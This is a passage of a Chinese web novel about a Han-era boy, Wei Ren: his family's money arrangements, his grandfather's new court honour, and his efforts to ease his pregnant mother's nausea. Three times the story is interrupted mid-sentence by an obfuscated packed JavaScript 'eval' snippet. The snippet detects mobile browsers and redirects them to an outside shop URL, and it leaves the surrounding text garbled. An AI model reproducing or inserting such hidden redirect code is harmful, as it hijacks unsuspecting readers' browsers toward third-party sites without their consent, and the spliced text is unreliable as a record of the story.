“你确定比100多?”熊大宝不看韦仁,韦仁十分怀疑熊大宝是不是随口说的,不过看那弧度明显的腮帮子,韦仁还是主动软下口气,“真生气了?” 韦仁一直自认耐性十足,可当他辅导熊大宝一个多月,发现熊大宝100以内的加减法还能错上三成时,韦仁不得不承认,他对自己的认知存在偏差。这不,一不小心就把怨气给喷出来了。 韦仁搂住熊大宝的胳膊,用肩膀撞了下小伙伴的肩膀:“好啦,别气了,你错那么多题时,我不一样没冲你发脾气?”嗯,代价就是自己的血压“噌噌噌”地往上升! 熊大宝瞄韦仁一眼:“咱们是朋友,你不能嘲笑我。” 韦仁想了想,摇头否认:“我刚刚的话不叫‘嘲笑’,只是‘调侃’。”韦仁还之彼道,“咱们是朋友。你不能冤枉我。” 熊大宝懵了一下:“‘调侃’是什么意思?” “唔……就是,好朋友间使用的,不带恶意的玩笑。”见熊大宝的表情松动了,韦仁反而板起小脸,“我最讨厌被人冤枉。” 熊大宝眨巴眨巴眼睛,也学着韦仁刚刚的样子,轻轻撞了韦仁的肩膀一下:“是我不对,你别生气,我让薛大匠再给你算便宜点儿,行不?” 韦仁也没客气:“那就再便宜50吧,我也不想让你亏了。” 熊大宝咧开嘴巴,笑得憨憨地:“五郎,你对我真好。” 韦仁颔首:“咱们是朋友嘛。” “嗯!” 旁观了全程的薛大匠:…… 不过,哪怕又便宜了50,浴盆的价钱仍是超出了韦仁的预期许多,韦仁肉疼得不行,心下忍不住嘀咕未来这个弟弟妹妹多半是个讨债鬼。 哎,哪怕是讨债鬼,那也是亲的,两个月的盈利就两个月的盈利吧! 办完礼物的事,韦仁心下轻松,谁想,讨债鬼不止在未来,眼前竟还有一个—— 韦玄成自鲁县休沐回家后,就对韦仁说:“五郎,你从罗朗那里分得的钱,交出来吧。” 彼时,全家人才用完晚食,正在正堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336458|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内聊天消食,韦仁听到这话的第一时间都懵了,这是他那私房钱都没有几个的阿翁吗?这是哪里来的土匪吧! 韦仁愣愣地问:“为什么呀?” 韦玄成理所应当地说:“赚取钱财和管理钱财是两回事。前者,你找到一个商机和一个值得信任且有能力的合作伙伴就能赚到钱,管理钱财十分琐碎而且必须得亲历亲为,与其放在箱子里落灰,不若交由你阿母代管。” 韦仁有所恍然,不禁生出些后知后觉地觉悟:“阿翁,若我没与罗大兄合作,而是要自己进行买卖,你是不是会派人接手?” “这是自然,我不反对你尝试些经济事务,这本来对你也有好处,不过,事有轻重,你目前的大部分精力必须放在课业上,单纯经营金钱方面上的事不值得你浪费时间。” 和与赵氏撒娇时不同,韦仁一时间竟然找不到置喙的契机。 事实上,韦仁反对也是无效,因为在这件事上,韦玄成的态度是不容置喙的:“四郎五郎,男儿可以没有锦绣前程,但必须要有立足之本,既然有学习的条件,你们至少要通一经,这样,哪怕未来家里发生变故,你们也能养活自己。” 韦世然一向听长辈的话,而且他现在对金钱没有太多欲望,有钱,高兴,没有钱,也无所谓,就很干脆地应了。 另一边,面对这妥妥的慈父之心,韦仁也不好硬把钱扣在手里,与韦玄成商量:“阿翁,我都进学了,也有自己的交际,你不能一点儿不给我留呀。” 韦玄成嘴角抽了抽:“行,你要留多少?”对上韦仁那滴溜溜乱转的眼珠子,韦玄成垂下眼皮,凉飕飕地补充道,“你罗伯伯前日去了鲁县,我们一起用了午食。” 韦仁:……给人当儿子就没有隐私了是不是?! 韦仁一咬牙:“我上交一半,行吗?” 在旁边围观父子交锋好一会儿的赵氏不禁开口:“你留下那许多钱做什么?五郎,你阿翁和我不会把你的钱归入公中,你从罗朗那里得的钱不算少,但也没有太多,我是想着,有合适的田地就买下来,记在你的名下,产出的佃租也是你的。” 一般而言,没分家之前,晚辈不管有没有成亲,置私产是会被人戳脊梁骨的。但在韦家,韦玄成这一辈施行的就是成年后分产不分家的家庭政策,韦玄成和赵氏也不反对子女拥有自己的产业,只是在他们认为合适的时机前要代为管理。 这已经是极其开明的态度,韦仁也不是不知好歹的人,他想了想,说道:“我自己留下四成,另外的六成中,五成阿母替我保管,余下一成是我孝敬阿翁和阿母的,这样行吗?” 韦玄成和赵氏对望一眼,算是见识到了从二儿子手里抠钱是多么不容易的一件事了,韦玄成按了按额头,半晌后才说:“行吧。” 赵氏看一眼十岁的大儿子,与韦玄成说:“不若孩子们以后自己挣了钱都按照这样的定例?” 韦玄成问韦元茹和韦世然:“你们觉得呢?” 韦元茹无所谓,这事对她几乎没有影响,韦世然则问了一句:“我从五郎那里得了311枚铜钱,是不是也得交给阿母六成?”韦世然已经心算出了结果,一下子少了小200枚铜钱,韦世然的心突然也有点儿疼。 韦元茹也说:“我从五郎那里得了100铜钱。”说起来,以前都是她给两个弟弟花钱,可算是见了一次回头钱了! 韦玄成和赵氏都惊讶地看着韦仁,韦玄成对韦仁做事的路数还是能猜到几分的,知道得了钱的肯定不止姊弟两个,问道:“五郎,你散了多少出去?” 韦仁避重就轻地说道:“我手里还有不到100铜钱。”说完,韦仁露出一个讨好地笑容,“阿翁阿母,我下个月再交钱,行吗?” 韦玄成、赵氏:……原来二儿子不止会赚钱,散钱的本事也不小啊! 行不行的,反正钱也没了,韦玄成和赵氏便也答应了,连韦世然和韦元茹的钱也没要:“五郎第一次赚钱,算是喜钱,你们就留着吧。” 姊弟二人都很高兴,钱多钱少的,能留在手里都是一件让人高兴的事呀! 韦玄成和赵氏的心里却有些酸溜溜的:韦仁这个小王八蛋,散了那许多钱出去竟没想着孝敬孝敬父母! 对此,韦仁不算冤枉,但也有点儿冤枉,主要他陷入了思维的误区:给韦世然等人的钱在他看来都是为了答谢,而浴盆虽是买给弟弟妹妹用的,根本原因却是父母看到他友爱弟妹应该会很高兴,所以,韦仁自觉已经在孝顺父母了,只是结果要延迟几个月才能展现出来而已。 正堂中,一家五口正聊天聊得十分“欢乐”,阿珀站在屋门外,忽然高声禀报:“家主、夫人,辛竹送来了博士的信!” 41.给事中 “快拿进来!” 阿珀领着辛竹快步走进正堂,辛竹向韦玄成几人请安后,双手奉上裹着黄泥的布袋。 阿珀拿过布袋递到韦玄成和赵氏近前,待二人确认泥封完好后,阿珀才把布袋拿到一边去剥掉封泥,而后将里面的竹简奉与韦玄成。 韦玄成展开竹简,细细看过一遍后,抬头笑问辛竹:“二兄可是有什么话带给我?”辛竹是韦玄成的二兄——韦弘的书僮。 “是,阿郎说有这样的大喜事,虽博士吩咐不可张扬,家里人总该庆贺一番。”辛竹的脸上都是喜气,“正巧赶上休沐,阿郎说,明日巳时待君相聚五味园。” 韦玄成颔首:“告诉二兄,明日我们一家准时到。” 辛竹离开后,韦元茹姊弟三人纷纷看向韦玄成,眼睛里都是好奇:到底是什么喜事能让二伯父包下五味园来庆祝? 才看过信简的赵氏卷好竹简,笑着说道:“真是件大好事,你们阿公得加官给事中。” 韦玄成和赵氏都显露出喜色,韦元茹三姊弟却都是一脸茫然。 韦元茹作为代表提出疑问:“是阿公的秩级提高了吗?” “不是,‘给事中’是加官,代表你们阿公以后可以出入宫禁、上朝谒见并参赞政务。”赵氏说出的给事中的三点权利就足以证明这个加官的分量了。 韦玄成则与姊弟三人详细讲解了一遍“给事中”这个职位的来历、获取资格、具体职责等,顺便也介绍了一下其他加官的情况。 韦仁听完,得出一个结论:秩级是不是提升了不重要,重要的是,有了这个加官,祖父的权利大了很多! 韦元茹和韦世然自然也听懂了,全家上下都十分欢喜,且不论韦玄成和赵氏,三个小的里,韦仁是笑得最投入的一个,那么大的一对儿眼珠子笑得只余一条缝儿,不知道的还以为是他自己当官了呐! 韦玄成好笑:“五郎,你这么高兴啊?” “阿翁,我今年的新年愿望已经想好了。” 听到这驴唇不对马嘴的话,韦玄成依然顺着问道:“是什么?” 韦仁欢快地说:“我希望阿公一定要长命百岁!”大树底下好乘凉,上面有人罩着,他未来的日子一定会很好过滴! 韦玄成稍一思索就明白了韦仁的言下之意,笑骂道:“你乖一点才是真的!” 家族聚会时,韦仁这种不占长也没啥才华的小辈儿除了被长辈们顺口考教一把外,其余时间只要和兄弟姊妹一起吃喝玩乐就好,韦仁便也度过了一个稍显热闹但也轻松愉快的休沐日。 不过,哪怕参与聚会的都是同族的兄弟姊妹,人一多难免也会生出些摩擦,聚会期间便发生了一个小插曲—— 二伯公那一房中一个与韦元茹同岁名萱的女娘和韦元茹闲聊时,也不知道是不是脑袋里少了根筋,十分惋惜地对韦元茹说:“元茹从姊,你的亲事真是太可惜了。” 韦元茹一边轻摇羽扇,一边不经意地问:“我和李郎自幼相识,他对我也好,哪里可惜了?” 周围听到韦元茹这话的女娘们都笑着羞她,韦元茹只微笑地听着,不脸红,也不反驳。 韦萱也是被逗得花枝乱颤,食指轻轻刮了刮脸颊:“你可真不知羞。”笑完,韦萱才回答韦元茹的话,“我就是觉得,你若没那么早定下亲事,以叔公如今的地位,你一定可以有更好的选择。” 韦元茹不答反问:“三从伯母给你寻人家了?是哪家的郎君?” 韦萱红着脸推了推韦元茹的手臂:“你真是的,我阿母是要多留我两年的,哪里会现在找。” 韦元茹唇角的弧度愈发深刻:“是要好好寻。”不知道哪家的倒霉蛋会娶到你这么个蠢东西! 韦元茹心中不爽,只是念在今日的场合,没有发作韦萱,三言两语便把这事揭了过去。 不过,这段对话依然传到韦仁的耳朵里了。 韦楚怜分了一瓣桃子给韦仁让韦仁帮她尝酸甜,随口就将这话说给他了:“萱从姊那话听着怪怪的,元茹从姊笑得我害怕,我觉得元茹从姊当时肯定在想要不要给萱从姊一巴掌。” 韦仁咬一口桃子,耸了耸鼻子表示很酸,示意韦楚怜把其他桃子也交给他打扫,被无情拒绝,又从韦楚怜手里磨了一瓣桃子过来后,韦仁才无所谓地接话:“这次没打,以后找机会再打就是了。” 韦楚怜“咯咯咯”地笑了好一会儿,凑到韦仁耳边,悄声说道:“其实,我也觉得元茹从姊嫁低了,我虽然不喜欢君和从姊,但她运气真的很好。” 韦仁不以为然:“嫁谁都一样,女娘还是要自己有本事才能过好日子。” “什么本事?德言容功吗?”韦楚怜也到了说亲的年纪,但她和家族里的姊妹关系都很普通,不自觉就把心中的茫然对韦仁说了,完全没考虑到对方还是个娃娃,“我阿母说,女儿想要过好日子,一靠嫁妆,二靠父兄。” 这话槽多又不能说一点儿道理没有,真是让韦仁一时张不开嘴。 韦仁看一眼韦楚怜,有些怀疑她刚刚说韦君和运气好不是说她得以高嫁,而是羡慕韦君和有嫡亲兄弟。 韦仁想了想,说道:“要靠父兄的话,女娘就更不能高嫁了。” “啊?” “以我的本事,楚怜从姊你若嫁个县长之类的,他欺负你我还能想办法为你出头。要是你未来的夫君是个宰相大将军什么的,那你只能任他欺负了。” 韦楚怜怔了怔,脸色突然爆红,不过韦楚怜不是脸红就跑的性子,她一把掐住韦仁的脸颊狠狠一扯,一边笑一边骂:“坏小子!” 关于韦贤加官给事中一事,韦仁还以为这事自家乐呵一番也就完了,可很快,韦仁就发现,消息灵通的人可真不少。 韦玄成不占嫡也不占长,家里近日竟也来了不少客人,甚至还有与韦家无甚关系的商贾在门房放了礼物和竹谒。 更甚者,有一天韦仁和韦世然在上学的路上与另外一辆轺车迎面相遇,那车竟然对他们乘坐的牛车进行了避让,这事虽然离谱得让韦仁无语,但也让他第一次有了自家在朝有官的真实感。 不过,韦仁的注意力很快就从这件事上挪开了,因为赵氏突然又开始孕吐了—— 赵氏本来只在两个多月时吐过一阵,前后都没超过半个月,还道肚子里的这个是个乖的,谁知道,这都五个月了,竟然又开始了。 韦仁第一次看到时,脑子里最先闪现的全是一些能和呕吐联系在一起且可能危害到孕妇或者胎儿性命的病症,心脏和胃骤然紧缩的感觉让韦仁差点儿跟着吐了。 好在赵氏的孕吐反应虽然比两个多月时频繁一点,但不算严重,韦仁也装作过家家似地给赵氏问过诊,结论就是赵氏气血两虚——俗称贫血,除此以外没什么大毛病。加上赵氏明显鼓起的肚子,韦仁就怀疑可能是因为宝宝快速成长造成的子宫增大压迫到了消化道,从而才引起了呕吐的症状。 对于贫血,韦仁自己要吃要喝就能让赵氏跟着他一起调整食谱,至于孕吐的问题,韦仁去问了梅先生。 结果,梅先生对此也没有什么办法,或者说,在梅先生看来,呕吐是女人怀孕期间的正常反应,是不需要治疗的。其实,几乎所有人都这样想,就是赵氏自己也没觉得孕吐值得其他人的关注。 哪怕知道这是正常的生理反应,韦仁每次看到赵氏正好好地与他们说话时突然捂着嘴要吐的样子心里仍是不太舒服,韦仁做不了太多,也想出了一个主意—— 韦仁吩咐沈决明中午来朝元馆找他,然后与戚先生请假后,韦仁就拉上韦世然跟着沈决明直接去了仁济堂。 仁济堂是驺县县城内最大的一间医馆,哪怕是正午时间,来往的病人也不少。 韦仁走进医馆后,让沈决明带着韦世然在其中一个诊间外排队,他则去与医馆的掌柜和药童咨询孕吐的问题,等到沈决明和韦世然排到最前面时,韦仁将等候的病人连同病人的家属也都咨询了一遍。 韦仁这样一个六七岁的娃娃,长相白净可爱,问的又是如何缓解母亲孕吐的事,哪怕医馆的客人大多没什么好心情,面对韦仁时仍是给予了足够的耐心。 韦仁虽是把这趟医馆行当作幌子,不想还真听到一个可行的建议——建议不是大夫给的,而是一个三十多岁的中年女人说的,她教了韦仁一道以鲤鱼为主料的粥品的做法。 鲤鱼本身就有利脾胃,营养丰足,对孕妇也好,韦仁一听就知道很适合赵氏吃。让韦仁哭笑不得的是,女人教了他菜谱后,就开始向他兜售自家养的鲤鱼。 如今正是禁渔期,这时候卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352814|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鱼的价格可想而知定是不低,不过既然人家附赠了食谱,韦仁便打听了女人的住址,承诺说过几天就派人过去购买。 相比较这个女人,蔡大夫则让韦仁哭笑不得的程度更甚——本着宁错(误)无错(过)的原则,待到韦世然和沈决明排到蔡大夫时,韦仁也与蔡大夫认真打听了一下关于孕吐的问题。 结果,蔡大夫先是拉着韦仁给他问了回诊,嘱咐他不要因为现在天气渐热就减衣减被,也不要喝凉水,之后才义正言辞地说了一句“没有亲自问诊过,我怎能随意开方”,噎得韦仁差点儿一口气没喘上来。 这也就罢了,韦仁也不能说蔡大夫的话没有道理,只是,韦仁拉着明显十分失望的韦世然准备离开诊房时,蔡大夫又叫住了他们,说道:“怀孕的人常喜食酸甜之物,我们仁济堂有上好的熏梅,你们要不要来一点?” 韦仁:……蔡大夫你这话说得真是一点儿不像个坐堂大夫,更像是哪个干货铺子的伙计呀! 从药童手里接过包好的熏梅后,一行三人正准备离开仁济堂,不想在门口处竟然遇到了一个认识的人——谷元。 谷元看到韦仁和韦世然出现在仁济堂很是意外,正要一百八十度鞠躬,突然想起什么,忙把竹篓从背上取下来,然后再次重现那个脑门磕膝盖的作揖礼,直起身后,谷元才问道:“郎君们怎么来医馆了?”语气中带着疑惑和担心。 韦仁指指沈决明手里的布袋:“家母有孕,近来常呕吐,大兄和我来买些熏梅。” 谷元松了口气:“我还以为是郎君们生病了呢。”说完,谷元忙拍了下嘴巴,改口道,“大吉大利、大吉大利,四郎君五郎君安康无疾。” 韦仁和韦世然都被谷元的动作和话逗笑,韦世然问谷元:“你来做什么呀?” 谷元拨开竹篓上面的野草,将下面的东西展示给韦仁和韦世然看:“我晒了些思仙树的树皮,可以卖给医馆。” 家里有梅先生,韦世然也掌握了一点草药知识,不禁问道:“谷元,你懂药理?”韦仁也看向谷元。 被两双形状相似、也同样炯炯有神的眼睛盯着,谷元的脸一下子就红了:“没、没,我只知道一点点,我阿翁以前教过我一点点。”谷元恨不能把“一点点”捧到韦仁和韦世然眼前以表明他真的只知道“一点点”。 韦世然眼睛亮晶晶的,特别真心地说道:“那也很了不起,我家里也有很多草药,我都分不清。” 谷元很是无措,双手无处安放般地一只挠头,一只揪着上衣下摆。 见他这番行色,韦仁笑了笑,拉着韦世然让到旁侧:“那你快进去吧,我们也先回去学馆了。” 谷元对二人又鞠了一躬,提起竹篓,抬步正要迈进仁济堂,谷元突然定住步子,看向韦仁,有些不好意思地问道:“五郎君,月初那些结了龟是不是已经吃完了?我本来今天也想送一些去的,不过,我大母说……呃,我、我给忘了,我就是想问问,五郎君你还想吃吗?想吃的话我过两天还要进城的,可以再抓一些给你。” 韦世然有些疑惑,才想开口问,手心突然被韦仁大力捏了一下,下意识就闭上了嘴巴。 韦仁扬起了笑容:“我特别喜欢。不过,新聚到县城这么远,你要走很多路,很累吧?” 听韦仁说喜欢,谷元松了口气,心里也很高兴,不禁笑起来:“不累,我习惯了,这路也不长。” 韦仁想了想,说道:“三日后是休沐日,你若有空就那天来找我吧,我在家,也好招待你。” 谷元忙摆了摆手:“我哪儿能让郎君招待。” 韦仁没有说话,只笑意盈盈地看着谷元。 谷元只扛了几个呼吸的时间,最终红着脸,结结巴巴地说道:“那,我、我听郎君的,我后日进城。” 韦仁对谷元点了下头:“那你忙吧。” 韦仁拉着韦世然离开了仁济堂的大门,待走远了一些,韦世然才低下头在韦仁耳边低声说道:“五郎,没听说有人送了结了龟来呀?” 韦仁摇了摇头:“不知道。”韦仁看向沈决明,“你回去找石伯,问问是怎么回事。若是有不妥的地方,他能处置就处置,不能处置也不要烦到我阿母那里去。” 沈决明的目光在韦仁的脸上快速扫了一下,揖礼领命。 42.孕吐 沈决明将韦仁和韦世然送回朝元馆,看着他们走进院门、守门的老伯将院门关好后才转身离开。 韦世然重新踏进学馆的院门后,蓦地反应过来:“五郎,你和戚先生是怎么请假的?他怎么就同意咱们外出了?”出发前兄弟二人只顾着叨叨赵氏孕吐的事了,韦世然就把这事给忽略了。 “还能怎么请?实话实说啊。”韦仁反问回去,“大兄你也请过假吗?” 韦世然摇头:“卫询去请过,先生没同意。” “他请假是为什么?” “他内兄一家来他家小住,他要回去陪用午食。” 听起来也是很正当的理由,按理说戚先生是应该同意的,不过韦仁不知道具体情况,只说:“戚先生或许有什么考虑吧。”韦仁想了想,还是叮嘱韦世然一句,“大兄,你若要在上学中途请假,一定要提前让家里人来接你,你可不能自己出学馆,和宁双兄询兄他们一起也不行。” 韦世然歪头打量着自家弟弟:“五郎,阿母和大姊都与我说过类似的话,阿翁就没说过,我也没说过,你……”韦世然一时也不知道自己要表达什么,只是有些困惑地思索是不是有哪里不太对。 韦仁磨牙,真想打韦世然一顿,不过真打起来他一定是打不过的,韦仁只能趁着韦世然没防备,在他腰上狠狠掐了一把,然后一溜烟儿跑了:“反正你记着就好了,我去睡午觉!” 韦仁与韦世然下午照常在朝元馆上课,与此同时,韦家门房内却正在进行一场关于谷元送的那些结了龟的讯问。 吴疾被石伯问到头上时,真是委屈极了:“石叔,我以为那个乡下小子是故意拿虫子来咱家寻开心,真不知道那是五郎君要的东西!” 吴疾对韦仁不太熟悉,只知道韦仁吃东西精细,被养得十分娇贵,不过,据说脾气很好,吴疾偶尔在大门这里与韦仁打上照面,向韦仁行礼时,韦仁只要看到了也会回以微笑,吴疾没想到这样矜贵和善的小郎君竟是个喜欢虫子的! 吴疾自幼在韦家长大,一直在县城内活动,一次都没去过乡聚,他自然见过虫子,但真没见过整整一坛子密密麻麻的虫子。 谷元送来的坛子没有泥封,吴疾按照规矩检查时,看到那些泡在水里的虫子,恶心得差点儿犯了心脏病,若不是那时候谷元早已经离开,他非得当场暴打他一顿! 石伯没理吴疾的辩解,问道:“那人送了几次过来?” “两次。” “既然是两次,第二次时你就没仔细问问?” 吴疾瘪嘴:“我要在我肯定得问,但他第二次送来时不是我的轮值。”要是他在,定不能让那小子跑了! “既然不是你的轮值,怎么东西还是被扔了?” “石叔,任谁看到那么多虫子也不能想那是礼啊!”吴疾怂着眉毛,十分无辜,“我和李寿看着都难受,哪儿敢把那种东西送到郎君们跟前?” 石伯见吴疾现在还是这样的态度,将手边记录着客人拜访信息的竹简重重丢到吴疾身上,沉着脸,喝问:“吴疾,我没再与你闲谈,我再问你一次,既然不是你的轮值,怎么东西还是被扔了?” 一个宅邸里能做门房的僮人,要不就是有本事,要不就是有背景,且不论吴疾有没有本事,他是真有背景——他亲母是东厨的管事兼大厨兼采买的田婶子,而田婶子是赵氏从赵家带来的,在赵氏面前很有体面。 吴疾不怕石伯,但也不想真的惹怒石伯,见石伯要生气了,吴疾忙挺直脊背,一板一眼地答道:“李寿见到那些虫子也吓了一跳,他来问我,我们商量后就把那坛虫子倒给猪吃了,还说好,若那人再来,就把事情与他问清楚。” 这话里有多少水分石伯心里有数,他也没多与吴疾掰扯,而是蹙眉问道:“那么多结了龟倒到猪食槽里,大郎就没过问?”这个大郎说的是石伯的大儿子,也就是负责牲畜棚的石大郎。 吴疾有些讪讪地,咂摸了下嘴巴才说:“那个,我们哪儿敢给家里的猪瞎吃东西,那些虫子给丹娘拿去了。” 石伯差点儿被气笑,压住脾气又问了些吴疾迎送谷元的细节后,知道吴疾和李寿好歹是将谷元当一般客人对待的,没有做出什么失礼的事,石伯才对吴疾说:“算你们还有分寸。不过,你扔了客人送五郎君的礼,又没与五郎君禀报,这事是必要罚的,你等着向郎君请罪吧。” 以石伯对韦仁的了解,哪怕吴疾和李寿没有失礼于人,韦仁也不会就这么算了,但韦仁让沈决明带的那些话又说明,韦仁不想因为门房的事让赵氏烦心,石伯一时也拿不准韦仁的态度,所以他也没急着处置吴疾。 离开门房后,石伯便与沈决明说:“李寿请假去他外舅家了,多半要在宵禁前才回来,这事也有他的份,得问过他后才好与五郎君回禀。” 石伯在门房内讯问吴疾时,沈决明就在门外,自然也听到了全过程,此时便向石伯轻揖一礼表示知道了。 石伯要是能够未卜先知吴疾打算如何“等着向郎君请罪”,定不会想着先探明韦仁的口风再处置吴疾—— 石大郎将韦仁从朝元馆接回韦宅时,会先将牛车停在正门,然后把韦仁抱下车,目送他走进宅邸后,石大郎才会驾着牛车绕到后门,从那里将车驶进宅子。 韦仁今日如同往常那般自正门前下车,然后拾级而上、跨过大门的门槛,韦仁正要向正院的方向走去,就被从门房屋门口奔过来的吴疾跪拦在了门廊下。 韦仁十分怀疑吴疾是不是提前练习过,滑跪的姿势真是流畅又标准,韦仁下意识往斜后侧让了让:“你有什么事?” 吴疾没说话,先给韦仁磕了一个,抬起上身后,才一副愁容地开始请罪,语气悔恨,还带着丝哭腔:“奴婢才知道那些虫子是五郎君要的东西,奴婢真不是故意扔掉的,请五郎君宽恕!” 接下来,吴疾就开始劈里啪啦地剖白自己的内心,中心意思就是,他以为那些虫子是谷元的恶作剧,害怕送到韦仁跟前会吓到韦仁,所以他才会擅自处理了那些虫子。 最后,吴疾表示,若韦仁还想要,他可以连夜出城去为韦仁再抓三坛子回来。 吴疾这一通请罪加诉说很是花了一些时间,石大郎一开始没看到吴疾,只见到韦仁停在门廊下没有往里面走,正疑惑着,就听到了吴疾说话的声音。 石大郎匆忙跳下牛车,跑到韦仁身边,他已经从石伯那里听说了结了龟的事,此时见韦仁面无表情地看着吴疾唱念做打,石大郎心下就有些打鼓,忙出言打断:“吴疾,你……”结果他的话才出口,韦仁就举手示意让他安静,石大郎就又闭上了嘴。 韦仁耐心等吴疾说完,对上他可怜兮兮、仿佛还闪着泪花的大眼睛,韦仁笑了笑,问道:“我知道了。只是,你怎么不去君子院等着我,而要在这里与我说这些?” 韦仁这话和吴疾料想的不一样,好在韦仁态度和善,吴疾的心也放下了一大半:“奴婢今天要在门房值守的,不能擅自离开。而且,奴婢也想尽早与五郎君请罪,让五郎君消气。”说着,吴疾又作势要拜。 韦仁摆了摆手:“这里人来人往的,你这样跪我,多不好看,快起来吧。” “谢郎君宽宥!” 吴疾还是谢拜了韦仁一回,而后才利落地从地上爬起来站好,脸上的神情是可见的放松:五郎君年纪小,孩童都心软,看到他如此诚心认错,果然不会再追究了。 站在一旁的石大郎一直在用余光偷瞄韦仁,却只看到他半垂着的眼睑和自然上扬的嘴角,不过,即使没看见韦仁眼中的神色,石大郎也觉得,韦仁此刻的心情并没有很好,更别说什么“宽宥”了。 当听到韦仁说了那句“人来人往”,再看吴疾这作态,石大郎心下不禁暗骂:真个作死的玩意儿! 韦仁等了一会儿,见吴疾没有其他话要说,便开口问道:“你还有其他事吗?” 吴疾被问得略显茫然,摇了摇头:“没有了。” 石大郎实在看不下去了,该老实的时候抖机灵,该机灵的时候又像个傻子一样,石大郎忍不住插言提醒:“既然无事便退开吧,郎君还要去向夫人请安。” 吴疾“啊”了一声,忙退到旁侧,将路让给韦仁。 韦仁抬步就走。 石大郎有些不放心,让吴疾帮他看一下牛车,快步走到韦仁身边,从他手里拿过书篮:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368318|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五郎君,我送你。” 韦仁也随石大郎跟着,直到走到正院的院门前,韦仁才停下步子,接回自己的书篮:“送到这里就行了,石大叔,你快回去停车吧。” 石大郎将书篮还给韦仁,蠕动了下嘴唇,最终咽下了想说的话,只低声劝解道:“有些人就是脑子不太灵光,五郎君别放在心上。” 韦仁淡淡地说:“脑子不灵光的人可做不好门房。”说完,韦仁转身走进正院。 望着韦仁逐渐远去得背影,石大郎抬手绕到脖颈后面捏了两下,几不可闻地叹息:“阿翁说得果然没错。” 韦仁走进正堂时,赵氏、韦元茹和韦世然都在,韦仁与赵氏请完安,又与兄姊打完招呼后,就好奇地看向韦世然:“今天不是夏归兄过来的日子吗,大兄你怎么没去训练?” “他今天有事。”韦世然歪在凭几上,感叹,“可算能休息一天了。”射箭竟然比角抵累那么多! 韦仁借着僮使端着的水盆洗过手脸,一边擦脸上的水珠,一边说:“你可快些练好吧。” 韦仁竖起食指指向屋顶,对赵氏和韦元茹抱怨:“靶子明明安在东面墙根那里,我们都以为这样就万无一失了,大兄愣是能把箭射到头顶上去,要不是沈决明在,用石子把箭打偏了,那箭非得扎到阿桂。” “我那是不小心。”韦世然强调,“就那一次!” “你还要几次?”韦仁坐到自己的位置上,斜睨着韦世然,“阿桂现在看到你射箭,连一个鼻子尖儿都不敢露出屋门外!” 赵氏和韦元茹大笑。韦世然恼羞成怒,扑到韦仁身上就开始挠他,两个人闹了一阵,韦仁好不容易找了个空挡从韦世然的胳膊下面逃开,直跑到赵氏身边,这场闹腾才算完。 赵氏本来还在笑,也不知道是不是韦仁身上有汗味,赵氏突然就捂嘴撇过了头,一副要吐的样子。 阿珀忙端了痰盂放在赵氏嘴边,赵氏却伸手推开了痰盂,阿珀仔细观察赵氏的神色,才迟疑着挪开了痰盂。 赵氏只是犯恶心,没有真地吐出来,不过眼睛还是生理性地湿红了,赵氏一边轻轻吁气,一边抚着胸口,看到三个孩子都紧张地看着他,赵氏安慰道:“没事,过了这一阵就好了。” “阿母,我给你治治。”韦仁拉过赵氏的手,拇指按在她手腕横纹上两寸处开始反复按压。 韦仁一直按了半盏茶的时间,中途因为手累,还换过一次手,好在,赵氏果然舒服了许多。 这期间,正堂内都没有人说话,直看到赵氏的脸色重新红润起来,韦元茹才笑着对韦仁说:“听四郎说你们今天去仁济堂了,看来不止买了熏梅干,还学到了其他本事?” 韦元茹大半是玩笑,韦仁却是正好借坡下驴:“是啊,有个婶子说怀孕的人吃鲤鱼粥很好。”韦仁对阿珀详细地说了一遍鲤鱼粥的做法,又示意阿珀走近些看他的手指,“还有,按这些地方,说是也可以止吐。” 韦仁仗着自己才六岁,一边解说穴位的位置,一边直接就在赵氏身上按了。按到小腿上的穴位时,韦仁还让赵氏调整姿势以方便他做给阿珀看:“阿珀,阿母难受时,你就给她按,就用拇指这样按就行。” 阿珀仔细听着,韦元茹和韦世然也围到赵氏身边跟着听,时不时还隔空指着赵氏身体的某处,问一句“是这里吗?”之类的话。 赵氏则是一边配合着韦仁的要求调整动作或回应一下被按时的感觉,一边笑吟吟地看着三个儿女,心里真是再舒坦不过了。 教习时间很快过去,姊弟三人也担心一直围着赵氏会让她呼吸不痛快,就回到了各自的坐席上。 韦仁暂时了却一桩心事,整个人都放松下来,抻了个懒腰,向赵氏撒娇:“阿母,今天能不能早点儿开饭呀,我给戚先生拔了一百石那么多的野草,快饿死啦!” 赵氏让阿珀去东厨催一下,等着的这会儿工夫,赵氏问起了韦仁在门房那里的事:“吴疾在大门那里给你磕了两次头,怎么,他惹到你了?” 